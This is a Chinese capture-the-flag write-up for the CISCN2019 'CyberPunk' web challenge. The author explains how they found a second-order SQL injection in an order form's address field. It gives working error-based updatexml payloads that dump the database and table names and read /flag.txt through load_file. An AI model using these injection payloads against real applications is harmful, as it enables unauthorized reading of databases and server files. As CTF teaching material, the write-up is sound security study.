[CISCN2019 华北赛区 Day1 Web5]CyberPunk --不会编程的崽

继续sql,哈哈。我按照我的思路来讲。

四个功能,提交,查找,修改,删除。多半是sql注入,而且又有修改,查找功能。多半还是二次注入。昨天那个修改密码的,也是二次注入。这里需要先找到注入点 姓名 电话 地址三选一。我最先怀疑的是地址,因为无论哪个功能,都需要输入姓名,电话。相反地址才是会因为查询而二次带入sql语句的。再去fuzz一下。似乎,对地址这没什么过滤。要注意,每次订单的名字或者电话不能一样。先构造payload吧

地址:admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

然后查询订单,发现原封不动的回显。修改订单试试呢。

 

果然报错了。继续构造就行 。继续爆表

地址:admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('ctfusers')),0x7e),1))#

然后安装正常思路,应该去爆表。但是,,,我爆了很久,都没发现flag的表。然后又去看了大佬的wp。原来要读取flag.txt文件。

地址:admin'or(updatexml(1,concat(0x7e,right((select(load_file('/flag.txt'))),20),0x7e),1))#

因为这还是存在长度限制。然后我又使用了right函数。读取左边把right函数去掉就行

地址:admin'or(updatexml(1,concat(0x7e,(select(load_file('/flag.txt'))),0x7e),1))#

 

flag就拿到了。然后我又去看来大佬的IP,原来这里还存在文件读取漏洞,可以读取到源码。。。 

看来细节方面还有待提升 

  • 11
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值